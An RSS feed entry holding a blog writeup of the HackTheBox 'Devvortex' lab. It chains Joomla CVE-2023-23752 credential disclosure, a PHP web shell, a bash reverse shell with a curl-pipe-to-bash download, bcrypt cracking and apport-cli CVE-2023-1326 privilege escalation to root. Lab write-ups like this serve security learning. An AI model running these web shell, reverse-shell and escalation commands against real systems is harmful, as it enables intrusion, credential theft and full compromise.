<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Balzabu | Blog</title>
    <link>https://blog.balzabu.io/tags/hackthebox/</link>
    <description>Recent content on Balzabu | Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Wed, 20 Dec 2023 01:24:03 +0100</lastBuildDate>
    <atom:link href="https://blog.balzabu.io/tags/hackthebox/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>HackTheBox: Devvortex Writeup</title>
      <link>https://blog.balzabu.io/posts/hackthebox-devvortex/</link>
      <pubDate>Wed, 20 Dec 2023 01:24:03 +0100</pubDate>
      <guid>https://blog.balzabu.io/posts/hackthebox-devvortex/</guid>
      <description>&lt;p&gt;HackTheBox is an online platform designed for testing and improving your penetration testing skills.&lt;/p&gt;
&lt;p&gt;It provides access to a variety of vulnerable labs that are regularly updated; these labs offer a mix of realistic scenarios and Capture The Flag (CTF) challenges.&lt;/p&gt;
&lt;p&gt;I have decided to start publishing some of my Hack The Box writeups as I solve them. It&amp;rsquo;s a fun and educational way for me to learn new things in the field of penetration testing.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>HackTheBox is an online platform designed for testing and improving your penetration testing skills.</p>
<p>It provides access to a variety of vulnerable labs that are regularly updated; these labs offer a mix of realistic scenarios and Capture The Flag (CTF) challenges.</p>
<p>I have decided to start publishing some of my Hack The Box writeups as I solve them. It&rsquo;s a fun and educational way for me to learn new things in the field of penetration testing.</p>
<p>In this blog post, I will be discussing the machine <code>Devvortex</code>.</p>
<hr>
<h2 id="devvortex-machine-specifications">Devvortex Machine Specifications</h2>
<ul>
<li><strong>Operating System:</strong> Linux</li>
<li><strong>Difficulty:</strong> Easy</li>
<li><strong>Target IP Address:</strong> 10.10.11.242</li>
</ul>
<hr>
<h2 id="basic-enumeration">Basic Enumeration</h2>
<p>Firstly, as usual, I added the Target IP Address to my <code>/etc/hosts</code> file to assign a local domain name for it.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sudo nano /etc/hosts</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/etc-hosts.png" alt="/etc/hosts file"></p>
<p>After assigning the local domain name for the Target IP Address, I proceeded with a thorough port scan using Nmap to identify any open ports and services running on the machine.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nmap -p- -sV -T4 --max-retries <span style="color:#ae81ff">3</span> devvortex.htb</span></span></code></pre></div>
<p>Based on the scan results, I discovered that ports 22 (SSH) and 80 (HTTP) were open. This indicated that there might be potential entry points through these services that I could explore further.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">65533</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open  http    nginx 1.18.0 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span></span></span></code></pre></div>
<p>The website utilizes nginx and its content appears to be associated with a development company.</p>
<p>However, it does not utilize HTTPS.</p>
<p>Upon inspecting the source code of the page, we can observe that the website has been constructed using HTML and jQuery.</p>
<p>Certain content is accessible within the following directories: <code>css/</code>,<code>images/</code>,<code>js/</code>.</p>
<p>We cannot list the content of these or any other directory because Directory Indexing is disabled, resulting in a 403 Forbidden error being displayed when accessing them.</p>
<p><img src="../../images/hackthebox/devvortex/403-forbidden.png" alt="403 Forbidden"></p>
<h2 id="gobuster-directory-enumeration-for-web-content">Gobuster Directory Enumeration for Web Content</h2>
<p>In order to comprehensively explore the web content of the Devvortex machine, I employed Gobuster—an effective tool for directory and file enumeration.</p>
<p>Despite the website not exhibiting PHP capabilities, I opted to include a scan for this extension as part of the enumeration process, aiming to identify any potentially intriguing files.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gobuster dir -u http://devvortex.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,php3,html</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/gobuster-dir.png" alt="Gobuster DIR"></p>
<p>However, the directory enumeration concluded without revealing any noteworthy files or directories.</p>
<h2 id="dns-enumeration-for-subdomains"><strong>DNS Enumeration for Subdomains</strong></h2>
<p>After encountering unremarkable results from Gobuster, I decided to explore alternative avenues. Turning to DNS enumeration became the next logical step to investigate potential subdomains associated with the target.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gobuster dns -d devvortex.htb -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/gobuster-dns.png" alt="Gobuster DNS"></p>
<p>To my satisfaction, this approach yielded results!</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Found: dev.devvortex.htb
</span></span><span style="display:flex;"><span>Found: piwik.devvortex.htb</span></span></code></pre></div>
<p>Upon discovering these two domain names, I promptly added both to my <code>/etc/hosts</code> file. Subsequently, visiting these domains allowed me to inspect their content for further insights.</p>
<h2 id="joomla-enumeration-and-version-discovery">Joomla Enumeration and Version Discovery</h2>
<p>Upon investigating the subdomains, it was observed that the <code>piwik.devvortex.htb</code> domain redirects to <code>devvortex.htb</code>. However, the <code>dev.devvortex.htb</code> domain reveals another website.</p>
<p>Analyzing the source code of it, no <code>Powered by</code> text is found.
<br/>
Nevertheless, the theme name hints at the possibility of it being a Joomla website. This suspicion is confirmed by checking the robots.txt file.</p>
<p><img src="../../images/hackthebox/devvortex/robots-txt.png" alt="Robots.txt"></p>
<h3 id="joomla-version-enumeration">Joomla Version Enumeration</h3>
<p>The next step involves determining the Joomla version to identify potential vulnerabilities. Accessing the <code>/administrator</code> directory yields a login page. However, this path can be utilized for further enumeration.</p>
<p>The presence of the <code>joomla.xml</code> file in the path <code>/administrator/manifests/files/joomla.xml</code> provides additional details about the Joomla version running on the server.</p>
<p><img src="../../images/hackthebox/devvortex/joomla-xml.png" alt="joomla.xml"></p>
<h3 id="exploiting-joomla-cve-2023-23752">Exploiting Joomla CVE-2023-23752</h3>
<p>Upon identifying the Joomla version as 4.2.6, further exploration reveals an interesting CVE (CVE-2023-23752) that could be exploited for Code Execution on the target host. The details of this CVE can be found at <a href="https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html">Joomla Security Centre</a>.</p>
<p>The vulnerability allows access to JSON data containing MySQL database credentials.</p>
<p><img src="../../images/hackthebox/devvortex/cve-2023-23752.png" alt="CVE 2023-23752"></p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{<span style="color:#f92672">&#34;type&#34;</span>:<span style="color:#e6db74">&#34;application&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#e6db74">&#34;224&#34;</span>,<span style="color:#f92672">&#34;attributes&#34;</span>:{<span style="color:#f92672">&#34;user&#34;</span>:<span style="color:#e6db74">&#34;lewis&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">224</span>}}<span style="color:#960050;background-color:#1e0010">,</span>{<span style="color:#f92672">&#34;type&#34;</span>:<span style="color:#e6db74">&#34;application&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#e6db74">&#34;224&#34;</span>,<span style="color:#f92672">&#34;attributes&#34;</span>:{<span style="color:#f92672">&#34;password&#34;</span>:<span style="color:#e6db74">&#34;P4ntherg0t1n5r3c0n##&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">224</span>}}</span></span></code></pre></div>
<p>While initially meant for MySQL database access, luck is on our side—the sysadmin&rsquo;s password reuse allows us to log in to the Joomla administrator dashboard.</p>
<p><img src="../../images/hackthebox/devvortex/joomla-dashboard.png" alt="Joomla Administrator Dashboard"></p>
<p>Once inside, we can leverage this access to explore further vulnerabilities and escalate privileges. Consideration is given to searching for additional exploits or misconfigurations within the Joomla environment to advance the exploitation process.</p>
<h2 id="exploiting-joomla-for-command-execution">Exploiting Joomla for Command Execution</h2>
<p>After successfully identifying and exploiting the Joomla vulnerability (CVE-2023-23752) to gain access to the Joomla administrator dashboard, the next step involves attempting to achieve command execution on the target system.</p>
<h3 id="injecting-malicious-php-code">Injecting Malicious PHP Code</h3>
<p>An initial attempt is made to inject malicious PHP code into the <code>cassiopeia</code> template&rsquo;s <code>index.php</code> file using the following one-liner:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">isset</span>($_REQUEST[<span style="color:#e6db74">&#39;cmd&#39;</span>])){ <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;&lt;pre&gt;&#34;</span>; $cmd <span style="color:#f92672">=</span> ($_REQUEST[<span style="color:#e6db74">&#39;cmd&#39;</span>]); <span style="color:#a6e22e">system</span>($cmd); <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;&lt;/pre&gt;&#34;</span>; <span style="color:#66d9ef">die</span>; }<span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div>
<p>However, it is observed that the <code>index.php</code> file is write-protected, hindering the direct injection approach.</p>
<h3 id="uploading-a-malicious-joomla-extension">Uploading a Malicious Joomla Extension</h3>
<p>As an alternative, a malicious Joomla extension is uploaded to the website. The chosen extension is the one developed by @p0dalirius, available at <a href="https://github.com/p0dalirius/Joomla-webshell-plugin">Joomla-webshell-plugin</a>. Following the instructions provided in the GitHub repository, the extension is successfully installed, providing a web shell for command execution.</p>
<p><img src="../../images/hackthebox/devvortex/module-installation.png" alt="Module Installation"></p>
<h3 id="command-execution-with-curl">Command Execution with CURL</h3>
<p>Using CURL, commands can be executed through the web shell. The following command is an example of retrieving system information:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -X POST <span style="color:#e6db74">&#39;dev.devvortex.htb/modules/mod_webshell/mod_webshell.php&#39;</span> --data <span style="color:#e6db74">&#34;action=exec&amp;cmd=id&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;stdout&#34;</span>:<span style="color:#e6db74">&#34;uid=33(www-data) gid=33(www-data) groups=33(www-data)\\n&#34;</span>,<span style="color:#e6db74">&#34;stderr&#34;</span>:<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;exec&#34;</span>:<span style="color:#e6db74">&#34;id&#34;</span><span style="color:#f92672">}</span></span></span></code></pre></div>
<p>The successful execution is evident, establishing a connection as the user <code>www-data</code>.</p>
<h3 id="interactive-console-for-shell-access">Interactive Console for Shell Access</h3>
<p>To further escalate privileges, an Interactive Console provided by the installed malicious extension is utilized. The <code>console.py</code> file from the repository facilitates obtaining a shell.</p>
<p><img src="../../images/hackthebox/devvortex/webshell-whoami.png" alt="Webshell whoami"></p>
<p>Using this console, exploration reveals the location of the <code>user.txt</code> flag inside <code>/home/logan/</code>.</p>
<p>However, access to this file is restricted.</p>
<p><img src="../../images/hackthebox/devvortex/cat-user-failed.png" alt="Cat User Flag failed"></p>
<h3 id="user-enumeration-with-etcpasswd">User Enumeration with /etc/passwd</h3>
<p>Attempting to identify additional users, the contents of the <code>/etc/passwd</code> file are downloaded. Unfortunately, no other users are discovered at this point in the exploration. The focus now shifts towards finding a pathway to escalate privileges and eventually gain root access.</p>
<h2 id="escalating-to-a-real-shell-and-database-enumeration">Escalating to a Real Shell and Database Enumeration</h2>
<p>Expressing dissatisfaction with the Interactive Shell, an alternative approach is adopted to spawn a more conventional shell.</p>
<h3 id="creating-a-shell-script-for-reverse-shell">Creating a Shell Script for Reverse Shell</h3>
<p>An <code>.sh</code> file is crafted to execute the desired commands. The contents of this file aim to establish a reverse shell connection:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>bash -i &gt;&amp; /dev/tcp/10.10.14.89/9999 0&gt;&amp;<span style="color:#ae81ff">1</span></span></span></code></pre></div>
<p>This shell script is designed to initiate a reverse shell connection back to the specified IP address (10.10.14.89) and port (9999).</p>
<h3 id="executing-the-shell-script">Executing the Shell Script</h3>
<p>To execute the shell script on the target system, a PHP Development Server is initiated. The target downloads and executes the script, connecting back to a netcat listener:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl http://10.10.14.89:9999/balzabu_reverse.sh | bash</span></span></code></pre></div>
<p>In this command, the shell script is retrieved using <code>curl</code> and immediately piped to <code>bash</code> for execution. This process effectively establishes a reverse shell connection from the target to the specified listener.</p>
<p>The process and successful connection are depicted in the following image.</p>
<p><img src="../../images/hackthebox/devvortex/shell-script.png" alt="Shell Script Setup"></p>
<h3 id="accessing-mysql-cli-with-successfully-obtained-credentials">Accessing MySQL CLI with Successfully Obtained Credentials</h3>
<p>With the credentials obtained during the Joomla exploitation proving valid, access to the MySQL command-line interface (CLI) is established through our new shell.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ mysql -ulewis -pP4ntherg0t1n5r3c0n## -h localhost -D joomla</span></span></code></pre></div>
<h3 id="database-enumeration-joomla-users">Database Enumeration: Joomla Users</h3>
<p>Within the <code>joomla</code> database, exploration reveals the existence of the <code>sd4fg_users</code> table. Dumping its contents provides valuable user information:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> sd4fg_users;</span></span></code></pre></div>
<p>In the user table, the presence of the confirmed user <code>logan</code> is reaffirmed:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ae81ff">650</span> <span style="color:#f92672">|</span> logan paul <span style="color:#f92672">|</span> logan <span style="color:#f92672">|</span> logan<span style="color:#f92672">@</span>devvortex.htb <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">2</span>y$10$IT4k5kmSGvHSO9d6M<span style="color:#f92672">/</span><span style="color:#ae81ff">1</span>w0eYiB5Ne9XzArQRFJTGThNiy<span style="color:#f92672">/</span>yBtkIj12 <span style="color:#f92672">|</span></span></span></code></pre></div>
<p>Observing the hashed password, it is inferred that bcrypt/blowfish algorithms were likely employed for encryption.</p>
<p><img src="../../images/hackthebox/devvortex/hash-identified.png" alt="Hash Identified"></p>
<h2 id="cracking-password-hash-and-ssh-access">Cracking Password Hash and SSH Access</h2>
<p>With the hashed password in hand, the next step involves attempting to crack it using <code>hashcat</code>. The hash is stored in a file named <code>hash</code> which contains the previously obtained result:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12&#39;</span> &gt;&gt; hash</span></span></code></pre></div>
<p>The cracking process is initiated using the following <code>hashcat</code> command:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo hashcat -a <span style="color:#ae81ff">0</span> -m <span style="color:#ae81ff">3200</span> hash /usr/share/wordlists/rockyou.txt</span></span></code></pre></div>
<p>The result of the cracking endeavor is successfully captured in the image:</p>
<p><img src="../../images/hackthebox/devvortex/hash-cracked.png" alt="Hash Cracked"></p>
<p>Now armed with the cracked password, the journey advances towards SSH access. The credentials are utilized to log in as the user <code>logan</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh logan@devvortex.htb</span></span></code></pre></div>
<p>Upon successful authentication, access to the &rsquo;logan&rsquo; account is granted:</p>
<p><img src="../../images/hackthebox/devvortex/ssh-logan-successfull.png" alt="Logged in successfully"></p>
<p>Subsequently, the user flag is retrieved from the home directory:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>logan@devvortex:~$ cat user.txt
</span></span><span style="display:flex;"><span>53ea1d7ae33dbd77cda0be21f4cfed7e</span></span></code></pre></div>
<p>With user privileges secured, the focus shifts towards the ultimate goal— escalating to <code>root</code> and achieving full control over the system. The journey continues with an exploration of potential vulnerabilities and exploitation vectors.</p>
<h2 id="root-privilege-escalation-exploiting-cve-2023-1326">Root Privilege Escalation: Exploiting CVE-2023-1326</h2>
<p>To proceed with privilege escalation, an initial step involves enumerating the Linux kernel:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>logan@devvortex:~$ <span style="color:#f92672">(</span>cat /proc/version <span style="color:#f92672">||</span> uname -a<span style="color:#f92672">)</span> 2&gt;/dev/null
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Linux version 5.4.0-167-generic <span style="color:#f92672">(</span>buildd@lcy02-amd64-010<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>gcc version 9.4.0 <span style="color:#f92672">(</span>Ubuntu 9.4.0-1ubuntu1~20.04.2<span style="color:#f92672">))</span> <span style="color:#75715e">#184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023</span></span></span></code></pre></div>
<p>The examination reveals no apparent kernel exploits, prompting a shift towards inspecting services and binaries on the server.</p>
<h3 id="identifying-root-execution-capability">Identifying Root Execution Capability</h3>
<p>Exploring potential commands executable with root privileges, the <code>apport-cli</code> command stands out as the only addition.</p>
<p><img src="../../images/hackthebox/devvortex/sudo-l.png" alt="sudo -l command"></p>
<h3 id="exploiting-cve-2023-1326">Exploiting CVE-2023-1326</h3>
<p>Upon discovering the presence of <code>apport-cli</code>, further investigation unveils a privilege escalation vulnerability—CVE-2023-1326, similar to CVE-2023-26604.
The details of this CVE can be found at <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-1326">National Vulnerability Database</a>.</p>
<h3 id="exploitation-steps">Exploitation Steps:</h3>
<ol>
<li>
<p><strong>Create a Report File:</strong></p>
<p>Execute the following command to generate a report file:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>apport-cli -f</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/create-report.png" alt="Create report"></p>
</li>
<li>
<p><strong>Copy Report File:</strong></p>
<p>Move the generated report file from <code>/tmp</code> to <code>/var/crash</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mv /tmp/some_crash_file.crash /var/crash/</span></span></code></pre></div>
</li>
<li>
<p><strong>Exploit CVE-2023-1326:</strong></p>
<p>Initiate the exploit by executing the following command:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash</span></span></code></pre></div>
<p>Press <code>V</code> to view the report, and once loaded, enter the following command in a manner similar to invoking a shell in <code>vim</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>!/bin/bash</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/report-loaded.png" alt="Report Loaded"></p>
</li>
<li>
<p><strong>Achieving Root Access:</strong></p>
<p>The successful execution of the above steps results in obtaining root access:</p>
<p><img src="../../images/hackthebox/devvortex/shell-escape-to-root.png" alt="Shell Escape to root"></p>
</li>
</ol>
<h3 id="root-flag-retrieval">Root Flag Retrieval</h3>
<p>Having escalated privileges to root, the final step involves retrieving the root flag from <code>/root/root.txt</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /root/root.txt
</span></span><span style="display:flex;"><span>81df009efcd837a749211c494bfbb3e9</span></span></code></pre></div>
<p>With this, the machine is totally compromised marking the completion of the penetration testing journey on the Devvortex system.</p>
<h2 id="contacts">Contacts</h2>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
